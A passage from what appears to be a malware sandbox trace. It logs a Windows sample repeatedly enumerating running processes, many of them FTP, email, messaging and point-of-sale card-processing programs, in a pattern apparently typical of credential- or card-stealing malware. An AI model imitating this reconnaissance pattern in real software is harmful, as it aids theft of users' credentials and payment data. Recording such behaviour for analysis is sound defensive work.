returned 1 [0289.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0289.176] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0289.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0289.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0289.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0289.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0289.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0289.190] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0289.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0289.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0289.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0289.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0289.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0289.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0289.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0289.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0289.255] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0289.257] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0289.259] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0289.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0289.263] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0289.265] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0289.267] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0289.270] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0289.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0289.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0289.276] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0289.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0289.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0289.282] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0289.284] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0289.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0289.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0289.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0289.536] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0289.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0289.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0289.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0289.546] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0289.548] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0289.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0289.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0289.555] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0289.558] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0289.561] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0289.564] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0289.566] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0289.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0289.571] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0289.573] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0289.575] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0289.576] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0289.630] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0289.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0289.635] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0289.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0289.641] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0289.643] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0289.646] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0289.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0289.650] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0289.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0289.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0289.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0289.660] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0289.662] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0289.664] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0289.666] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0289.669] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0289.673] CloseHandle (hObject=0x344) returned 1 [0289.673] Sleep (dwMilliseconds=0x64) [0289.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0289.742] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.744] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0289.746] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0289.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0289.753] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0289.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0289.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0289.802] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.805] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.807] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0289.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.816] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 